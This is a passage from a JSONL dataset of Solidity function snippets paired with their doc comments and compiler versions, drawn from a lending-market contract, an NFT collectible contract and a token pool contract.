sender\r\n balances[_to] = safeAdd(balances[_to], _value); // Add the same to the recipient\r\n \r\n allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);\r\n \r\n if(_to == address(0)) {\r\n\t _burn(_to, _value);\r\n\t }\r\n \r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n\t}", "version": "0.5.11"} {"comment": "/**\n * @dev Multiplies two numbers, returns an error on overflow.\n */", "function_code": "function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {\n if (a == 0) {\n return (MathError.NO_ERROR, 0);\n }\n\n uint c = a * b;\n\n if (c / a != b) {\n return (MathError.INTEGER_OVERFLOW, 0);\n } else {\n return (MathError.NO_ERROR, c);\n }\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Adds two numbers, returns an error on overflow.\n */", "function_code": "function addUInt(uint a, uint b) internal pure returns (MathError, uint) {\n uint c = a + b;\n\n if (c >= a) {\n return (MathError.NO_ERROR, c);\n } else {\n return (MathError.INTEGER_OVERFLOW, 0);\n }\n }", "version": "0.5.16"} {"comment": "/**\n * @dev add a and b and then subtract c\n */", "function_code": "function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {\n (MathError err0, uint sum) = addUInt(a, b);\n\n if (err0 != MathError.NO_ERROR) {\n return (err0, 0);\n }\n\n return subUInt(sum, c);\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Creates an exponential from numerator and denominator values.\n * Note: Returns an error if (`num` * 10e18) > MAX_INT,\n * or if `denom` is zero.\n */", "function_code": "function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {\n (MathError err0, uint scaledNumerator) = mulUInt(num, expScale);\n if (err0 != MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n\n (MathError err1, uint rational) = divUInt(scaledNumerator, denom);\n if (err1 != MathError.NO_ERROR) {\n return (err1, Exp({mantissa: 0}));\n }\n\n return (MathError.NO_ERROR, Exp({mantissa: rational}));\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Multiply an Exp by a scalar, returning a new Exp.\n */", "function_code": "function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {\n (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);\n if (err0 != MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n\n return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.\n */", "function_code": "function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {\n (MathError err, Exp memory product) = mulScalar(a, scalar);\n if (err != MathError.NO_ERROR) {\n return (err, 0);\n }\n\n return (MathError.NO_ERROR, truncate(product));\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.\n */", "function_code": "function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {\n (MathError err, Exp memory product) = mulScalar(a, scalar);\n if (err != MathError.NO_ERROR) {\n return (err, 0);\n }\n\n return addUInt(truncate(product), addend);\n }", "version": "0.5.16"} {"comment": "/// For creating NFT", "function_code": "function _createNFT (\r\n uint256[5] _nftData,\r\n address _owner,\r\n uint256 _isAttached)\r\n internal\r\n returns(uint256) {\r\n\r\n NFT memory _lsnftObj = NFT({\r\n attributes : _nftData[1],\r\n currentGameCardId : 0,\r\n mlbGameId : _nftData[2],\r\n playerOverrideId : _nftData[3],\r\n assetDetails: _nftData[0],\r\n isAttached: _isAttached,\r\n mlbPlayerId: _nftData[4],\r\n earnedBy: 0\r\n });\r\n\r\n uint256 newLSNFTId = allNFTs.push(_lsnftObj) - 1;\r\n\r\n _mint(_owner, newLSNFTId);\r\n \r\n // Created event\r\n emit Created(_owner, newLSNFTId);\r\n\r\n return newLSNFTId;\r\n }", "version": "0.4.24"} {"comment": "/// @dev internal function to update player override id", "function_code": "function _updatePlayerOverrideId(uint256 _tokenId, uint256 _newPlayerOverrideId) internal {\r\n\r\n // Get Token Obj\r\n NFT storage lsnftObj = allNFTs[_tokenId];\r\n lsnftObj.playerOverrideId = _newPlayerOverrideId;\r\n\r\n // Update Token Data with new updated attributes\r\n allNFTs[_tokenId] = lsnftObj;\r\n\r\n emit AssetUpdated(_tokenId);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev An internal method that helps in generation of new NFT Collectibles\r\n * @param _teamId teamId of the asset/token/collectible\r\n * @param _attributes attributes of asset/token/collectible\r\n * @param _owner owner of asset/token/collectible\r\n * @param _isAttached State of the asset (attached or dettached)\r\n * @param _nftData Array of data required for creation\r\n */", "function_code": "function _createNFTCollectible(\r\n uint8 _teamId,\r\n uint256 _attributes,\r\n address _owner,\r\n uint256 _isAttached,\r\n uint256[5] _nftData\r\n )\r\n internal\r\n returns (uint256)\r\n {\r\n uint256 generationSeason = (_attributes % 1000000).div(1000);\r\n require (generationSeasonController[generationSeason] == 1);\r\n\r\n uint32 _sequenceId = getSequenceId(_teamId);\r\n\r\n uint256 newNFTCryptoId = _createNFT(_nftData, _owner, _isAttached);\r\n \r\n nftTeamIdToSequenceIdToCollectible[_teamId][_sequenceId] = newNFTCryptoId;\r\n nftTeamIndexToCollectibleCount[_teamId] = _sequenceId;\r\n\r\n return newNFTCryptoId;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Multiplies two exponentials, returning a new exponential.\n */", "function_code": "function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\n\n (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);\n if (err0 != MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n\n // We add half the scale before dividing so that we get rounding instead of truncation.\n // See \"Listing 6\" and text above it at https://accu.org/index.php/journals/1717\n // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.\n (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);\n if (err1 != MathError.NO_ERROR) {\n return (err1, Exp({mantissa: 0}));\n }\n\n (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);\n // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.\n assert(err2 == MathError.NO_ERROR);\n\n return (MathError.NO_ERROR, Exp({mantissa: product}));\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Multiplies three exponentials, returning a new exponential.\n */", "function_code": "function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {\n (MathError err, Exp memory ab) = mulExp(a, b);\n if (err != MathError.NO_ERROR) {\n return (err, ab);\n }\n return mulExp(ab, c);\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Truncates the given exp to a whole number value.\n * For example, truncate(Exp{mantissa: 15 * expScale}) = 15\n */", "function_code": "function truncate(Exp memory exp) pure internal returns (uint) {\n // Note: We are not using careful math here as we're performing a division that cannot fail\n return exp.mantissa / expScale;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Initialize the money market\n * @param bController_ The address of the BController\n * @param interestRateModel_ The address of the interest rate model\n * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18\n * @param name_ EIP-20 name of this token\n * @param symbol_ EIP-20 symbol of this token\n * @param decimals_ EIP-20 decimal precision of this token\n */", "function_code": "function initialize(BControllerInterface bController_,\n InterestRateModel interestRateModel_,\n uint initialExchangeRateMantissa_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_) public {\n require(msg.sender == admin, \"only admin may initialize the market\");\n require(accrualBlockNumber == 0 && borrowIndex == 0, \"market may only be initialized once\");\n\n // Set initial exchange rate\n initialExchangeRateMantissa = initialExchangeRateMantissa_;\n require(initialExchangeRateMantissa > 0, \"initial exchange rate must be greater than zero.\");\n\n // Set the bController\n uint err = _setBController(bController_);\n require(err == uint(Error.NO_ERROR), \"setting bController failed\");\n\n // Initialize block number and borrow index (block number mocks depend on bController being set)\n accrualBlockNumber = getBlockNumber();\n borrowIndex = mantissaOne;\n\n // Set the interest rate model (depends on block number / borrow index)\n err = _setInterestRateModelFresh(interestRateModel_);\n require(err == uint(Error.NO_ERROR), \"setting interest rate model failed\");\n\n name = name_;\n symbol = symbol_;\n decimals = decimals_;\n\n // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)\n _notEntered = true;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Get the underlying balance of the `owner`\n * @dev This also accrues interest in a transaction\n * @param owner The address of the account to query\n * @return The amount of underlying owned by `owner`\n */", "function_code": "function balanceOfUnderlying(address owner) external returns (uint) {\n Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});\n (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);\n require(mErr == MathError.NO_ERROR, \"balance could not be calculated\");\n return balance;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Get a snapshot of the account's balances, and the cached exchange rate\n * @dev This is used by bController to more efficiently perform liquidity checks.\n * @param account Address of the account to snapshot\n * @return (possible error, token balance, borrow balance, exchange rate mantissa)\n */", "function_code": "function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) {\n uint bTokenBalance = accountTokens[account];\n uint borrowBalance;\n uint exchangeRateMantissa;\n\n MathError mErr;\n\n (mErr, borrowBalance) = borrowBalanceStoredInternal(account);\n if (mErr != MathError.NO_ERROR) {\n return (uint(Error.MATH_ERROR), 0, 0, 0);\n }\n\n (mErr, exchangeRateMantissa) = exchangeRateStoredInternal();\n if (mErr != MathError.NO_ERROR) {\n return (uint(Error.MATH_ERROR), 0, 0, 0);\n }\n\n return (uint(Error.NO_ERROR), bTokenBalance, borrowBalance, exchangeRateMantissa);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Return the borrow balance of account based on stored data\n * @param account The address whose balance should be calculated\n * @return (error code, the calculated balance or 0 if error code is non-zero)\n */", "function_code": "function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {\n /* Note: we do not assert that the market is up to date */\n MathError mathErr;\n uint principalTimesIndex;\n uint result;\n\n /* Get borrowBalance and borrowIndex */\n BorrowSnapshot storage borrowSnapshot = accountBorrows[account];\n\n /* If borrowBalance = 0 then borrowIndex is likely also 0.\n * Rather than failing the calculation with a division by 0, we immediately return 0 in this case.\n */\n if (borrowSnapshot.principal == 0) {\n return (MathError.NO_ERROR, 0);\n }\n\n /* Calculate new borrow balance using the interest index:\n * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex\n */\n (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);\n if (mathErr != MathError.NO_ERROR) {\n return (mathErr, 0);\n }\n\n (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);\n if (mathErr != MathError.NO_ERROR) {\n return (mathErr, 0);\n }\n\n return (MathError.NO_ERROR, result);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Calculates the exchange rate from the underlying to the BToken\n * @dev This function does not accrue interest before calculating the exchange rate\n * @return (error code, calculated exchange rate scaled by 1e18)\n */", "function_code": "function exchangeRateStoredInternal() internal view returns (MathError, uint) {\n uint _totalSupply = totalSupply;\n if (_totalSupply == 0) {\n /*\n * If there are no tokens minted:\n * exchangeRate = initialExchangeRate\n */\n return (MathError.NO_ERROR, initialExchangeRateMantissa);\n } else {\n /*\n * Otherwise:\n * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply\n */\n uint totalCash = getCashPrior();\n uint cashPlusBorrowsMinusReserves;\n Exp memory exchangeRate;\n MathError mathErr;\n\n (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);\n if (mathErr != MathError.NO_ERROR) {\n return (mathErr, 0);\n }\n\n (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);\n if (mathErr != MathError.NO_ERROR) {\n return (mathErr, 0);\n }\n\n return (MathError.NO_ERROR, exchangeRate.mantissa);\n }\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender supplies assets into the market and receives bTokens in exchange\n * @dev Accrues interest whether or not the operation succeeds, unless reverted\n * @param mintAmount The amount of the underlying asset to supply\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.\n */", "function_code": "function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);\n }\n // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to\n return mintFresh(msg.sender, mintAmount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender redeems bTokens in exchange for the underlying asset\n * @dev Accrues interest whether or not the operation succeeds, unless reverted\n * @param redeemTokens The number of bTokens to redeem into underlying\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed\n return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);\n }\n // redeemFresh emits redeem-specific logs on errors, so we don't need to\n return redeemFresh(msg.sender, redeemTokens, 0);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender redeems bTokens in exchange for a specified amount of underlying asset\n * @dev Accrues interest whether or not the operation succeeds, unless reverted\n * @param redeemAmount The amount of underlying to receive from redeeming bTokens\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed\n return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);\n }\n // redeemFresh emits redeem-specific logs on errors, so we don't need to\n return redeemFresh(msg.sender, 0, redeemAmount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender borrows assets from the protocol to their own address\n * @param borrowAmount The amount of the underlying asset to borrow\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);\n }\n // borrowFresh emits borrow-specific logs on errors, so we don't need to\n return borrowFresh(msg.sender, borrowAmount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender repays their own borrow\n * @param repayAmount The amount to repay\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.\n */", "function_code": "function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);\n }\n // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to\n return repayBorrowFresh(msg.sender, msg.sender, repayAmount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sender repays a borrow belonging to borrower\n * @param borrower the account with the debt being payed off\n * @param repayAmount The amount to repay\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.\n */", "function_code": "function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);\n }\n // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to\n return repayBorrowFresh(msg.sender, borrower, repayAmount);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice The sender liquidates the borrowers collateral.\n * The collateral seized is transferred to the liquidator.\n * @param borrower The borrower of this bToken to be liquidated\n * @param bTokenCollateral The market in which to seize collateral from the borrower\n * @param repayAmount The amount of the underlying borrowed asset to repay\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.\n */", "function_code": "function liquidateBorrowInternal(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) internal nonReentrant returns (uint, uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\n return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);\n }\n\n error = bTokenCollateral.accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\n return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);\n }\n\n // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to\n return liquidateBorrowFresh(msg.sender, borrower, repayAmount, bTokenCollateral);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\n * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\n * @param newPendingAdmin New pending admin.\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {\n // Check caller = admin\n if (msg.sender != admin) {\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);\n }\n\n // Save current value, if any, for inclusion in log\n address oldPendingAdmin = pendingAdmin;\n\n // Store pendingAdmin with value newPendingAdmin\n pendingAdmin = newPendingAdmin;\n\n // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)\n emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin\n * @dev Admin function for pending admin to accept role and update admin\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _acceptAdmin() external returns (uint) {\n // Check caller is pendingAdmin and pendingAdmin \u2260 address(0)\n if (msg.sender != pendingAdmin || msg.sender == address(0)) {\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);\n }\n\n // Save current values for inclusion in log\n address oldAdmin = admin;\n address oldPendingAdmin = pendingAdmin;\n\n // Store admin with value pendingAdmin\n admin = pendingAdmin;\n\n // Clear the pending value\n pendingAdmin = address(0);\n\n emit NewAdmin(oldAdmin, admin);\n emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sets a new bController for the market\n * @dev Admin function to set a new bController\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setBController(BControllerInterface newBController) public returns (uint) {\n // Check caller is admin\n if (msg.sender != admin) {\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_BCONTROLLER_OWNER_CHECK);\n }\n\n BControllerInterface oldBController = bController;\n // Ensure invoke bController.isBController() returns true\n require(newBController.isBController(), \"marker method returned false\");\n\n // Set market's bController to newBController\n bController = newBController;\n\n // Emit NewBController(oldBController, newBController)\n emit NewBController(oldBController, newBController);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh\n * @dev Admin function to accrue interest and set a new reserve factor\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.\n return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);\n }\n // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.\n return _setReserveFactorFresh(newReserveFactorMantissa);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)\n * @dev Admin function to set a new reserve factor\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {\n // Check caller is admin\n if (msg.sender != admin) {\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);\n }\n\n // Verify market's block number equals current block number\n if (accrualBlockNumber != getBlockNumber()) {\n return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);\n }\n\n // Check newReserveFactor \u2264 maxReserveFactor\n if (newReserveFactorMantissa > reserveFactorMaxMantissa) {\n return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);\n }\n\n uint oldReserveFactorMantissa = reserveFactorMantissa;\n reserveFactorMantissa = newReserveFactorMantissa;\n\n emit NewTokenReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Accrues interest and reduces reserves by transferring from msg.sender\n * @param addAmount Amount of addition to reserves\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.\n return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);\n }\n\n // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.\n (error, ) = _addReservesFresh(addAmount);\n return error;\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Facilitates batch trasnfer of collectible, depending if batch is supported on contract.\r\n * Checks for collectible 0,address 0 and then performs the transfer\r\n * @notice Batch SafeTransferFrom with multiple From and to Addresses\r\n * @param _tokenIds The asset identifiers\r\n * @param _fromB the address sending from\r\n * @param _toB the address sending to\r\n */", "function_code": "function multiBatchSafeTransferFrom(\r\n uint256[] _tokenIds, \r\n address[] _fromB, \r\n address[] _toB\r\n )\r\n public\r\n {\r\n require (isBatchSupported);\r\n\r\n require (_tokenIds.length > 0 && _fromB.length > 0 && _toB.length > 0);\r\n\r\n uint256 _id;\r\n address _to;\r\n address _from;\r\n \r\n for (uint256 i = 0; i < _tokenIds.length; ++i) {\r\n\r\n require (_tokenIds[i] != 0 && _fromB[i] != 0 && _toB[i] != 0);\r\n\r\n _id = _tokenIds[i];\r\n _to = _toB[i];\r\n _from = _fromB[i];\r\n\r\n safeTransferFrom(_from, _to, _id);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh\n * @dev Admin function to accrue interest and update the interest rate model\n * @param newInterestRateModel the new interest rate model to use\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed\n return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);\n }\n // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.\n return _setInterestRateModelFresh(newInterestRateModel);\n }", "version": "0.5.16"} {"comment": "/**\n * @notice updates the interest rate model (*requires fresh interest accrual)\n * @dev Admin function to update the interest rate model\n * @param newInterestRateModel the new interest rate model to use\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {\n\n // Used to store old model for use in the event that is emitted on success\n InterestRateModel oldInterestRateModel;\n\n // Check caller is admin\n if (msg.sender != admin) {\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);\n }\n\n // We fail gracefully unless market's block number equals current block number\n if (accrualBlockNumber != getBlockNumber()) {\n return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);\n }\n\n // Track the market's current interest rate model\n oldInterestRateModel = interestRateModel;\n\n // Ensure invoke newInterestRateModel.isInterestRateModel() returns true\n require(newInterestRateModel.isInterestRateModel(), \"marker method returned false\");\n\n // Set the interest rate model to newInterestRateModel\n interestRateModel = newInterestRateModel;\n\n // Emit NewMarketTokenInterestRateModel(oldInterestRateModel, newInterestRateModel)\n emit NewMarketTokenInterestRateModel(oldInterestRateModel, newInterestRateModel);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Batch Function to approve the spender\r\n * @dev Helps to approve a batch of collectibles \r\n * @param _tokenIds The asset identifiers\r\n * @param _spender The spender\r\n */", "function_code": "function batchApprove(\r\n uint256[] _tokenIds, \r\n address _spender\r\n )\r\n public\r\n { \r\n require (isBatchSupported);\r\n\r\n require (_tokenIds.length > 0 && _spender != address(0));\r\n \r\n uint256 _id;\r\n for (uint256 i = 0; i < _tokenIds.length; ++i) {\r\n\r\n require (_tokenIds[i] != 0);\r\n \r\n _id = _tokenIds[i];\r\n approve(_spender, _id);\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.\n * This will revert due to insufficient balance or insufficient allowance.\n * This function returns the actual amount received,\n * which may be less than `amount` if there is a fee attached to the transfer.\n *\n * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.\n * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca\n */", "function_code": "function doTransferIn(address from, uint amount) internal returns (uint) {\n EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);\n uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this));\n token.transferFrom(from, address(this), amount);\n\n bool success;\n assembly {\n switch returndatasize()\n case 0 { // This is a non-standard ERC-20\n success := not(0) // set success to true\n }\n case 32 { // This is a compliant ERC-20\n returndatacopy(0, 0, 32)\n success := mload(0) // Set `success = returndata` of external call\n }\n default { // This is an excessively non-compliant ERC-20, revert.\n revert(0, 0)\n }\n }\n require(success, \"TOKEN_TRANSFER_IN_FAILED\");\n\n // Calculate the amount that was *actually* transferred\n uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this));\n require(balanceAfter >= balanceBefore, \"TOKEN_TRANSFER_IN_OVERFLOW\");\n return balanceAfter - balanceBefore; // underflow already checked above, just subtract\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory\n * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to\n * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified\n * it is >= amount, this should not revert in normal conditions.\n *\n * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.\n * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca\n */", "function_code": "function doTransferOut(address payable to, uint amount) internal {\n EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);\n token.transfer(to, amount);\n\n bool success;\n assembly {\n switch returndatasize()\n case 0 { // This is a non-standard ERC-20\n success := not(0) // set success to true\n }\n case 32 { // This is a complaint ERC-20\n returndatacopy(0, 0, 32)\n success := mload(0) // Set `success = returndata` of external call\n }\n default { // This is an excessively non-compliant ERC-20, revert.\n revert(0, 0)\n }\n }\n require(success, \"TOKEN_TRANSFER_OUT_FAILED\");\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice deposit token into the pool from the source\r\n * @param amount amount of token to deposit\r\n * @return true if success\r\n */", "function_code": "function depositAssetToken(uint256 amount) external virtual override returns (bool) {\r\n require(msg.sender == _poolSource, \"Only designated source can deposit token\");\r\n require(amount > 0, \"Amount must be greater than 0\");\r\n\r\n _wToken.transferFrom(_poolSource, address(this), amount);\r\n\r\n emit TokenDeposited(amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice withdraw token from the pool back to the source\r\n * @param amount amount of token to withdraw\r\n * @return true if success\r\n */", "function_code": "function withdrawAssetToken(uint256 amount) external virtual override returns (bool) {\r\n require(msg.sender == _poolSource, \"Only designated source can withdraw token\");\r\n require(amount > 0, \"Amount must be greater than 0\");\r\n\r\n _wToken.transfer(_poolSource, amount);\r\n\r\n emit TokenWithdrawn(amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice given an USD amount, calculate resulting wToken amount\r\n * @param usdAmount amount of USD for conversion\r\n * @return amount of resulting wTokens\r\n */", "function_code": "function usdToToken(uint256 usdAmount) public view returns (uint256) {\r\n (bool success, uint256 USDToCADRate, uint256 granularity,) = _oracle.getCurrentValue(1);\r\n require(success, 